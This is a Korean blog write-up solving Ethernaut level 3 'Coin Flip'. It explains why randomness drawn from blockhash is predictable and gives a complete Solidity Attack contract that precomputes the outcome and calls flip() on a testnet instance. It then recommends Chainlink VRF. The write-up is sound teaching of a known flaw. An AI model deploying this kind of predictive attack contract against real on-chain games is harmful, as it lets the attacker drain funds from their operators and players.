본문 바로가기
aaa
블록체인

[이더넛] 레벨3 'Coin Flip' 풀기

 [이더넛] 레벨3 'Coin Flip' 풀기  

 

 

목표.

동전의 앞면 / 뒷면을 맞추면
승리하는 스마트컨트랙트가 있다.

이를 위해서 CoinFlip 스마트컨트랙트에서는
블록넘버를 이용해 난수(랜덤값)를 생성하고 있다.

이를 통해 온체인 데이터를 이용해 난수를 생성하는 것이
왜 보안에 취약한지 알아보고
이 스마트컨트랙트의 허점을이용해서 10연승을 해보자.

 

Full code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

 

 


코드 뜯어보기
 function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

함수 flip을 살펴보겠습니다.

 

uint256 blockValue는

이전 블록(블록넘버 -1)의 블록해시 값입니다.

 

만약 lastHash가 blockValue 값과 같다면

revert() => 중단시킵니다.

이를 통해 새로운 블록이 생성됐을때만

실행되도록 합니다.

 

그 다음 lastHash에 blockValue 값을 대입시킵니다.

 

  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

 uint256 coinFlip = blockValue.div(FACTOR);

 uint256 coinFlip에는

blockValue를 FACTOR 값으로 div(나누기)한 값을 대입시킵니다.

.div는 컨트랙트에 import되어있는 SafeMath의 함수입니다.

 

 

    bool side = coinFlip == 1 ? true : false;

 

그 다음

coinFlip 값이 1이면 true / 아니면 false 값을

bool side 값에 대입시킵니다.

 

 if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }

 

함수 flip에서 파라미터로 받은

bool 타입 변수인 _guess와 side 값이 일치하면

consecutivewins 값을 1증가 시키고 => 연승 횟수 1 증가.

true를 리턴합니다.

 

그게 아니면(예측 실패)

consecutivewins를 0으로 초기화 시킵니다.

연승 횟수 0으로 초기화.

 

 

전략

이런 예측 게임에서 10연승씩이나 하려면

운이 아주 좋으면 승리 할 수 있습니다.

 

혹은 결과를 미리 알고 있으면 승리 할 수 있습니다.

 

스마트컨트랙트는 EOA(EOA, External Owned Account) 혹은

동일한 스마트컨트랙트(CA, Contract Account)가 호출 할 수 있습니다.

EOA로 CoinFlip 스마트컨트랙트를 호출해서 승리하는 방법은 매우 어렵습니다.

 

하지만 다른 CA(Attack)가 CoinFlip를 호출했을때는 상황이 다릅니다.

스마트컨트랙트 Attack이 CoinFlip을 호출했을때에는

시간이 동일하기 때문에

Attack이 읽는 블록넘버와 CoinFlip이 읽는 블록넘버가 일치합니다.

 

CoinFlip은 블록넘버를 통해 난수를 생성하고 답을 연산합니다.

 

동일하게 Attack도 스마트컨트랙트이기 CoinFlip의 난수생성을 동일하게 진행할 수 있습니다.

 

Attack에서도 블록넘버를 불러오고 (CoinFlip에서 불러오는 블록넘버와 일치.)

CoinFlip과 동일한 난수 생성 연산을 통해 답을 계산한 다음

CoinFlip의 함수 flip을 호출하고 Attack에서 연산한 답을 제출하면

승리 할 수 있습니다.

 

비유하자면

시험문제를 출제하는 출제자 옆에서

시험을 보는 사람이 문제를 내고

답을 내는 과정을 보고 있는 것과 비슷합니다.

오픈북인 셈입니다.

 

 

리믹스에서 스마트컨트랙트 Attack 배포.

Rinkeby에는 공격 대상인 CoinFlip이 이미 배포 되었으니

공격수단이 될 Attack을 리믹스에서 배포하겠습니다.

 

 

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/math/SafeMath.sol

 

GitHub - OpenZeppelin/openzeppelin-contracts: OpenZeppelin Contracts is a library for secure smart contract development.

OpenZeppelin Contracts is a library for secure smart contract development. - GitHub - OpenZeppelin/openzeppelin-contracts: OpenZeppelin Contracts is a library for secure smart contract development.

github.com

배포시에 SafeMath 라이브러리가 필요합니다.

없다면 위 경로에서 다운받습니다.

 

 

스마트컨트랙트 Attack
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}


contract Attack {
    using SafeMath for uint256;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
    function attack() public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
    
        lastHash = blockValue;
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        
        CoinFlip(0x189992E4AA430d1c8010E9b6346a3383983509e3).flip(side);
    }
    
}

import '/SafeMath.sol'; 부분은

다운받은 SafeMath를 import하는 부분입니다.

Attack에서도 SafeMath 라이브러리가 사용되기 때문에

꼭 필요합니다.

 

스마트컨트랙트는 Attack은

CoinFlip과 동일한 연산을 하기 때문에

동일한 부분이 많습니다.

 

CoinFlip(0x189992E4AA430d1c8010E9b6346a3383983509e3).flip(side);

 

컨트랙트 맨마지막 부분, 51라인입니다.

CoinFlip 컨트랙트 주소를 입력하여

CoinFlip을 불러오고 함수 flip에 bool 타입 파라미터 side를

입력하여 호출합니다.

 

그러면 백전백승입니다.

좀 귀찮지만 10번 호출하면 

목표 달성입니다.

 

 

Number(await contract.consecutiveWins())

위 명령어로 연승 횟수를 알 수 있습니다.

 

 

레벨3 클리어~!

 

 

 

결론

온체인 데이터를 이용해서 난수를 생성하는 것은

어려울 뿐만아니라 공개된 데이터를 이용해서

난수를 생성하기 때문에 보안에 매우 취약하다.

 

 

이 때문에 오프체인 상에서 VRF(Verifiable Random Function, 검증가능한 난수 함수)

를 통해 난수를 생성하고 온체인으로 데이터를 가져오는

다음과 같은 체인링크 VRF 등이 주로 사용되고 있다.

 

pragma solidity 0.6.6;

import "@chainlink/contracts/src/v0.6/VRFConsumerBase.sol";

/**
 * THIS IS AN EXAMPLE CONTRACT WHICH USES HARDCODED VALUES FOR CLARITY.
 * PLEASE DO NOT USE THIS CODE IN PRODUCTION.
 */
contract RandomNumberConsumer is VRFConsumerBase {
    
    bytes32 internal keyHash;
    uint256 internal fee;
    
    uint256 public randomResult;
    
    /**
     * Constructor inherits VRFConsumerBase
     * 
     * Network: Kovan
     * Chainlink VRF Coordinator address: 0xdD3782915140c8f3b190B5D67eAc6dc5760C46E9
     * LINK token address:                0xa36085F69e2889c224210F603D836748e7dC0088
     * Key Hash: 0x6c3699283bda56ad74f6b855546325b68d482e983852a7a82979cc4807b641f4
     */
    constructor() 
        VRFConsumerBase(
            0xdD3782915140c8f3b190B5D67eAc6dc5760C46E9, // VRF Coordinator
            0xa36085F69e2889c224210F603D836748e7dC0088  // LINK Token
        ) public
    {
        keyHash = 0x6c3699283bda56ad74f6b855546325b68d482e983852a7a82979cc4807b641f4;
        fee = 0.1 * 10 ** 18; // 0.1 LINK (Varies by network)
    }
    
    /** 
     * Requests randomness 
     */
    function getRandomNumber() public returns (bytes32 requestId) {
        require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet");
        return requestRandomness(keyHash, fee);
    }

    /**
     * Callback function used by VRF Coordinator
     */
    function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
        randomResult = randomness;
    }

    // function withdrawLink() external {} - Implement a withdraw function to avoid locking your LINK in the contract
}

 

 

'블록체인' 카테고리의 다른 글

[이더넛] 레벨5 'Token' 풀기  (0) 2021.08.12
[이더넛] 레벨4 'Telephone' 풀기  (0) 2021.08.11
이더넛 레벨2 풀기  (0) 2021.08.10
이더넛 레벨1 풀기  (0) 2021.08.10
이더넛 시작 & 레벨 0  (0) 2021.08.10

loading